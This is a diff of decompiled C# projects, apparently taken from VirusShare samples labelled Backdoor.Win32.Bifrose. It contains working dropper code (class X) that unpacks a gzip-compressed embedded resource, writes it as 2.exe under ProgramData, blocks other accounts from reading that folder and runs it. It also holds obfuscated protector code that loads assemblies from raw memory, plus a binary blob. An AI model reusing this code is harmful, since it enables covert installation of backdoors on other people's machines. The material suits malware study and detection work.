if (num2 == _param1 || flag)
|
||||
{
|
||||
objArray[index].\u0003 = _param2;
|
||||
if (!flag)
|
||||
return;
|
||||
objArray[index].\u0002 = _param1;
|
||||
++this.\u0003;
|
||||
if (this.\u0003 <= num1)
|
||||
return;
|
||||
this.\u0002();
|
||||
return;
|
||||
}
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
index = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private struct \u0002
|
||||
{
|
||||
public int \u0002;
|
||||
public string \u0003;
|
||||
}
|
||||
}
|
||||
|
||||
private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002
|
||||
{
|
||||
}
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
ƒ—{éAãR¬QÂ[v{Ãr‚ØVA ‹Ô,‰GBþ t—J8Z,¢ g 6j©�A¬QÂ[g cr®gãws ¿38_1oÆQÂ[/"igH£‹*MÈÈ?ÚÓʤÓQÂ[™"OcË/Öê zÄxÚÅäQÂ[Ì3ge´œtóQÂ[B™ûR°"P‡½^6`XQÂ[|+>œaÞi{óQÂ[µÙ·ÑYä† k·-.´;b!QÂ[0%Ê"
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{10E56AF5-4212-461C-8F60-8B20FD114586}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>تمويه</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="X.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="M.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "تمويه", "Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.csproj", "{10E56AF5-4212-461C-8F60-8B20FD114586}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+6712
File diff suppressed because it is too large
Load Diff
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: X
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
|
||||
internal class X
|
||||
{
|
||||
[STAThread]
|
||||
public static void main()
|
||||
{
|
||||
byte[] bytes = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
|
||||
string Path = Interaction.Environ("programdata") + "\\2";
|
||||
string str = Path + "\\2.exe";
|
||||
try
|
||||
{
|
||||
FileSystem.MkDir(Path);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
X.BD(ref Path);
|
||||
File.WriteAllBytes(str, bytes);
|
||||
Interaction.Shell(str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Z(byte[] Byt)
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream(Byt);
|
||||
GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[4];
|
||||
memoryStream.Position = checked (memoryStream.Length - 5L);
|
||||
memoryStream.Read(buffer, 0, 4);
|
||||
int int32 = BitConverter.ToInt32(buffer, 0);
|
||||
memoryStream.Position = 0L;
|
||||
byte[] array = new byte[checked (int32 - 1 + 1)];
|
||||
gzipStream.Read(array, 0, int32);
|
||||
gzipStream.Dispose();
|
||||
memoryStream.Dispose();
|
||||
return array;
|
||||
}
|
||||
|
||||
public static void BD(ref string Path)
|
||||
{
|
||||
DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
try
|
||||
{
|
||||
foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) accessControl1.GetAccessRules(true, true, typeof (NTAccount)))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(accessRule.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
|
||||
accessControl2.AddAccessRule(rule);
|
||||
Directory.SetAccessControl(Path, accessControl2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
IEnumerator enumerator;
|
||||
if (enumerator is IDisposable)
|
||||
(enumerator as IDisposable).Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Cursor")]
|
||||
[assembly: AssemblyDescription("1")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTitle("Cursor")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Cursor</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualC" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CdotNetProtector_003E.cs" />
|
||||
<Compile Include="_0082¼\_0082».cs" />
|
||||
<Compile Include="_0082¼\_0082¶.cs" />
|
||||
<Compile Include="_0082¼\_0082.cs" />
|
||||
<Compile Include="_0082¼\_0082©.cs" />
|
||||
<Compile Include="_0082¼\_0082¦.cs" />
|
||||
<Compile Include="_0082¼\_0082¢.cs" />
|
||||
<Compile Include="_0082¼\_0082_0095.cs" />
|
||||
<Compile Include="_0082¼\_0082_0094.cs" />
|
||||
<Compile Include="_0082¼\_0082_008A.cs" />
|
||||
<Compile Include="_0082¼\_0082_0084.cs" />
|
||||
<Compile Include="_0082¼\_0081ù.cs" />
|
||||
<Compile Include="_0082¼\_0081ò.cs" />
|
||||
<Compile Include="_0082¼\_0081ì.cs" />
|
||||
<Compile Include="_0082¼\_0081ã.cs" />
|
||||
<Compile Include="_0082¼\_0081Ü.cs" />
|
||||
<Compile Include="_0082¼\_0081Õ.cs" />
|
||||
<Compile Include="_0082¼\_0081Î.cs" />
|
||||
<Compile Include="_0082¼\_0081Ç.cs" />
|
||||
<Compile Include="_0082¼\_0081Â.cs" />
|
||||
<Compile Include="_0082¼\_0081¹.cs" />
|
||||
<Compile Include="_0082¼\_0081³.cs" />
|
||||
<Compile Include="_0082¼\_0081«.cs" />
|
||||
<Compile Include="_0082¼\_0081§.cs" />
|
||||
<Compile Include="_0082¼\_0081 .cs" />
|
||||
<Compile Include="_0082¼\_0081_009C.cs" />
|
||||
<Compile Include="_0082¼\_0081_0097.cs" />
|
||||
<Compile Include="_0082¼\_0081_0093.cs" />
|
||||
<Compile Include="_0082¼\_0081_0090.cs" />
|
||||
<Compile Include="_0082¼\_0081_008B.cs" />
|
||||
<Compile Include="_0082¼\_0081_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081_0083.cs" />
|
||||
<Compile Include="_0082¼\_0081_0080.cs" />
|
||||
<Compile Include="_0082¼\ä.cs" />
|
||||
<Compile Include="_0082¼\Ê.cs" />
|
||||
<Compile Include="_0082¼\1Ä.cs" />
|
||||
<Compile Include="_0082¼\µ.cs" />
|
||||
<Compile Include="_0082¼\Á.cs" />
|
||||
<Compile Include="_0082¼\.cs" />
|
||||
<Compile Include="_0082¼\¨.cs" />
|
||||
<Compile Include="_0082¼\´.cs" />
|
||||
<Compile Include="_0082¼\±.cs" />
|
||||
<Compile Include="_0082¼\ .cs" />
|
||||
<Compile Include="_0082¼\_0094.cs" />
|
||||
<Compile Include="_0082¼\_008D.cs" />
|
||||
<Compile Include="_0082¼\_0088.cs" />
|
||||
<Compile Include="_0082¼\_0086.cs" />
|
||||
<Compile Include="_0082¼\_0082².cs" />
|
||||
<Compile Include="_0082¼\_0082º.cs" />
|
||||
<Compile Include="_0082¼\_0082³.cs" />
|
||||
<Compile Include="_0082¼\_0082_009A.cs" />
|
||||
<Compile Include="_0082¼\_0082¨.cs" />
|
||||
<Compile Include="_0082¼\_0082§.cs" />
|
||||
<Compile Include="_0082¼\_0082¥.cs" />
|
||||
<Compile Include="_0082¼\_0082_008E.cs" />
|
||||
<Compile Include="_0082¼\_0082_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081æ.cs" />
|
||||
<Compile Include="_0082¼\_0081$.cs" />
|
||||
<Compile Include="_0082¼\1_0081î.cs" />
|
||||
<Compile Include="õ\ü.cs" />
|
||||
<Compile Include="õ\ñ.cs" />
|
||||
<Compile Include="õ\¿.cs" />
|
||||
<Compile Include="õ\¦.cs" />
|
||||
<Compile Include="õ\_0099.cs" />
|
||||
<Compile Include="õ\_0081Ï.cs" />
|
||||
<Compile Include="å\è.cs" />
|
||||
<Compile Include="å\Ü.cs" />
|
||||
<Compile Include="å\Ö.cs" />
|
||||
<Compile Include="å\Ñ.cs" />
|
||||
<Compile Include="å\®.cs" />
|
||||
<Compile Include="å\_008E.cs" />
|
||||
<Compile Include="å\_0082_009D.cs" />
|
||||
<Compile Include="å\_0082_0098.cs" />
|
||||
<Compile Include="å\_0082_0090.cs" />
|
||||
<Compile Include="_0081é\_0081ê.cs" />
|
||||
<Compile Include="_0081é\_0081Þ.cs" />
|
||||
<Compile Include="_0081é\_0081Ù.cs" />
|
||||
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.csproj", "{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+651
@@ -0,0 +1,651 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using õ;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace PvLogiciels.dotNetProtector
|
||||
{
|
||||
public class RuntimeInterop : IRuntime
|
||||
{
|
||||
internal Assembly[] ò;
|
||||
internal Assembly \u0081\u00BD;
|
||||
internal string \u0082\u00B4;
|
||||
|
||||
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
|
||||
|
||||
internal RuntimeInterop() => this.ò = new Assembly[0];
|
||||
|
||||
internal unsafe Assembly \u0081â(IntPtr _param1)
|
||||
{
|
||||
int id = AppDomain.CurrentDomain.Id;
|
||||
byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
_param1 = ptr;
|
||||
int num1 = Marshal.ReadInt32(ptr);
|
||||
int length1 = Marshal.ReadInt32(_param1, 4);
|
||||
int length2 = Marshal.ReadInt32(_param1, 8);
|
||||
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
|
||||
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
|
||||
byte[] numArray = new byte[length1];
|
||||
byte[] destination = numArray;
|
||||
int length3 = length1;
|
||||
Marshal.Copy(source1, destination, 0, length3);
|
||||
Assembly assembly;
|
||||
if (length2 != 0)
|
||||
{
|
||||
byte[] rawSymbolStore = new byte[length2];
|
||||
Marshal.Copy(source2, numArray, 0, length2);
|
||||
assembly = Assembly.Load(numArray, rawSymbolStore);
|
||||
}
|
||||
else
|
||||
assembly = Assembly.Load(numArray);
|
||||
Marshal.FreeCoTaskMem(_param1);
|
||||
if ((object) assembly != null && num1 >= 0)
|
||||
{
|
||||
Type[] types = assembly.GetTypes();
|
||||
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
internal static unsafe void Î(Assembly _param0)
|
||||
{
|
||||
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (assemblyString != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (!(ptr != IntPtr.Zero))
|
||||
return;
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
|
||||
public virtual Assembly GetEntryAssembly()
|
||||
{
|
||||
if ((object) \u0081ê.\u0081\u0099 != null)
|
||||
return \u0081ê.\u0081\u0099;
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
if ((object) entryAssembly != null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
return entryAssembly;
|
||||
}
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
|
||||
return (Assembly) null;
|
||||
\u0081ê.\u0081\u0099 = executingAssembly;
|
||||
return executingAssembly;
|
||||
}
|
||||
|
||||
public static IRuntime InitRuntime()
|
||||
{
|
||||
RuntimeInterop runtimeInterop = new RuntimeInterop();
|
||||
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
|
||||
{
|
||||
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
|
||||
public static void AppDomain_ProcessExit(object sender, EventArgs e)
|
||||
{
|
||||
GC.Collect();
|
||||
GC.WaitForPendingFinalizers();
|
||||
\u0082\u00BB.\u0081\u0086();
|
||||
}
|
||||
|
||||
public virtual void NGenInitRuntime()
|
||||
{
|
||||
}
|
||||
|
||||
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
|
||||
|
||||
